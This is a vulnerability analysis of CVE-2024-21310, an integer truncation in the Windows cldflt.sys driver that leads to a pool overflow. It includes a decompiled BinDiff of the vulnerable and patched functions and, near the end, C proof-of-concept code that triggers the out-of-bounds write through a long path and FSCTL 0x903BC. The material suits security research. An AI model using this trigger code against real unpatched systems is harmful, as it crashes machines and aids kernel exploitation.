Analysis of CVE-2024-21310 Pool Overflow Windows Cloud Filter Driver
This vulnerability does not have a public Proof of Concept, so we will have to start from scratch based on the limited information provided by Microsoft. We will need to reverse engineer and perform a BinDiff on the vulnerable and patched cldflt.sys component to identify the vulnerability and find a way to trigger it.
The information provided by Microsoft can be found at the following link: Microsoft
This vulnerability is an Integer Overflow that is caused by a Numeric Truncation Error.
What is a Numeric Truncation Error?
Suppose we have a value of type int64_t and another value of type int16_t, and we want to add them together and store the result in a variable of type int16_t. This example will show how truncation occurs when storing the result in a data type with a smaller capacity.
int64_t large_value = 100000;
int16_t small_value = 30000;
int16_t sum = (int16_t)(large_value + small_value);
large_value is a 64-bit integer (int64_t) with a value of 100,000.
small_value is a 16-bit integer (int16_t) with a value of 30,000.
The sum of large_value and small_value is done on int64_t because it is the largest type. So the sum is:
100,000+30,000=130,000
The result of the sum (130,000) is then converted to int16_t. Since int16_t has a range of -32,768 to 32,767, any value outside this range will be truncated.
Root cause of the Bug.
Vulnerable Windows version I used for this exploit:
It is necessary to activate Windows Long Path. To do this, I followed the instructions in the following links:
Download the vulnerable and patched driver from the following website: Winbindex
First step we have to find the bug, for that I will do bindiff between the vulnerable version of cldflt.sys and the patched one.
The vulnerability is located in the HsmFltProcessSetPinState function, as seen when we compare the two functions, one vulnerable and the other patched.
Now we are going to study why vulnerability occurs.
InformationFile = HsmiQueryFullFilePath(v22, v23, Object, 257i64, &PathSize); [1]
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( InformationFile < 0 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qqd(
WPP_GLOBAL_Control->AttachedDevice,
183i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
v21,
InformationFile);
}
goto LABEL_93;
}
v24 = PathSize + *(_WORD *)(a2 + 0x40); [2]
LOWORD(v39) = 0;
WORD1(v39) = v24;
P = ExAllocatePoolWithTag(PagedPool, v24, 'sUsH'); [3]
InformationFile = P == 0i64 ? 0xC000009A : 0;
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( !P )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qd(
WPP_GLOBAL_Control->AttachedDevice,
184i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
InformationFile);
}
goto LABEL_93;
}
memmove(P, *(const void **)(a2 + 72), *(unsigned __int16 *)(a2 + 64));
LOWORD(v39) = *(_WORD *)(a2 + 64) - 2;
memmove((char *)P + (unsigned __int16)v39, Src, (unsigned __int16)PathSize); [4]
[1]The HsmiQueryFullFilePath function returns in the PathSize variable the size of the path that we sent from NtCreateFIle.
[2]In this part of the code the integer overflow occurs because PathSize is __int64, (a2 + 0x40) is of type WORD which is 16 bits (2 bytes) and the result is going to be stored in unsigned __int16 v24 ( 2 bytes). so to produce an overflow, PathSize must be a value large enough so that the sum with 0x30 (the value of *(_WORD *)(a2 + 0x40)) exceeds the 16-bit range when stored in v24.
If PathSize= 0xFFFC and ** *(_WORD *)(a2 + 0x40)= 0x30 ** the result is 0x1002C but in v24 only 0x2c will be stored so v24=0x2c because only 2 bytes can be stored because the variable is of type int16.
[3]Then the result of the sum in v24 will be used as size to allocate a chunk that will be of size 0x2c
[4]In this part of the code, an OOB write will occur because in the chunk that was assigned before of size 0x2c, within that chunk, our long path of size 0xFFFC will be written and it uses the variable PathSize=0xFFFC as size.
Vulnerability Patch
Let’s see the patch that Microsoft applied to the function.
InformationFile = HsmiQueryFullFilePath(v22, v20, a3, 0x101u, PathSize);
HsmDbgBreakOnStatus(InformationFile);
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLOBAL_Control->Timer) < 2u )
{
goto LABEL_99;
}
v24 = 213;
goto LABEL_28;
}
pusResult[1] = *(_WORD *)(a2 + 0x40);
if ( (unsigned int)Feature_2686352701__private_IsEnabled() )
{
InformationFile = RtlUShortAdd(pusResult[1], (USHORT)PathSize[0], &pusResult[1]); [1]
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLO
[1]The RtlUShortAdd function takes the two values PathSize and *(_WORD *)(a2 + 0x40) and checks whether the sum results in an overflow. If there is an overflow, the result is set to the maximum value of USHORT and an error code is returned. If there is no overflow, the result of the sum is saved in the supplied variable and 0 is returned to indicate success.
Triggering the bug
To trigger the bug we need to reach the vulnerable function so we will examine the HsmFltProcessHSMControl function and see what code we need to send to reach HsmFltProcessSetPinState.
case 0xC0000018:
v99 = 0;
Status = HsmiOpPrepareOperation(
CallbackData,
-1073741800,
*(_DWORD *)(Parameters + 8),
v13,
a2,
v9,
(__int64 *)&v87,
128,
&v85);
HsmDbgBreakOnStatus(Status);
if ( Status >= 0 )
{
v73 = (void *)Parameters;
v26 = v84;
Status = HsmFltProcessSetPinState(
(__int64)&v85,
(__int64)v13,
*(struct _FILE_OBJECT **)v88,
a2,
v9,
v87,
v84,
CallbackData,
v73,
v100,
Length,
v101);
HsmDbgBreakOnStatus(Status);
goto LABEL_209;
}
break;
It starts by performing a sync root registration. It then initiates the communication between a sync provider and the sync filter API:
struct _OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
GUID guid = { 0 };
WCHAR* dir = (WCHAR*)L"C:\\ProgramData";
HANDLE hObject = NULL;
struct _IO_STATUS_BLOCK IoStatusBlock;
struct _IO_STATUS_BLOCK IoStatusBlock_control_file = { 0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CRC32TableCreate();
GetFuncAddr();
CfUnregisterSyncRoot(L"C:\\ProgramData\\");
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)) {
printf("[-] CfRegisterSyncRoot failed with %d", GetLastError());
return 0;
}
printf("[*] CfRegisterSyncRoot success\n");
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.SecurityDescriptor = NULL;
Sets parameters to reach the vulnerable function as shown above (code= 0xC0000018) using the FSCTL cloud filter (0x903BC) with the tag set to 0x9000001A(IO_REPARSE_TAG_CLOUD).
RtlInitUnicodeString(&objdir,string );
InitializeObjectAttributes(&ObjectAttributes, &objdir, 0, 0, 0);
ObjectAttributes.Attributes = 64;
status = NtCreateFile(&hObject, GENERIC_READ | GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, 0, 0, 0, 3, 1, 0, 0);
if (!NT_SUCCESS(status)) {
// Error al llamar a NtCreateFile, imprimir el código de error
printf("Error al abrir el archivo: 0x%X\n", status);
return 1;
}
printf("[*] tiggering Bug \n");
unsigned int* control_buffer_2 = (unsigned int*)calloc(1, 0x100);
*control_buffer_2 = 0x9000001A;
control_buffer_2[1] = 0xC0000018;
control_buffer_2[2] = 0x20000;
control_buffer_2[3] = 0x0;
control_buffer_2[4] = 0x4;
fnNtFsControlFile(
hObject,
0,
0,
0,
&IoStatusBlock_control_file,
0x903BC,
control_buffer_2,
0x100,
0,
0);
The string variable is going to contain the long path, RtlInitUnicodeString initializes a UNICODE_STRING structure with the Unicode string variable. Then InitializeObjectAttributes initializes an OBJECT_ATTRIBUTES structure which is used as an argument in NtCreateFile.
Let’s now see how the vulnerability is exploited.
The HsmiQueryFullFilePath function returns the size of our long Path as we can see below in windbg the value 0xFFD0.
The value that contains [r15+40h] which is the variable *(_WORD *)(a2 + 0x40) and its value is 0x30 is added with PathSize which is the size of our path returned by HsmiQueryFullFilePath there is where the integer overflow occurs, then the result of that sum which is 0x0 is used as size to allocate a chunk.
This is where an OOB write occurs and the vulnerability is triggered because mmemove is going to copy our long path with a size of 0xFFD0 (which is the size of the path I sent) into the chunk which has a size of 0x20.
Here we see the windows message.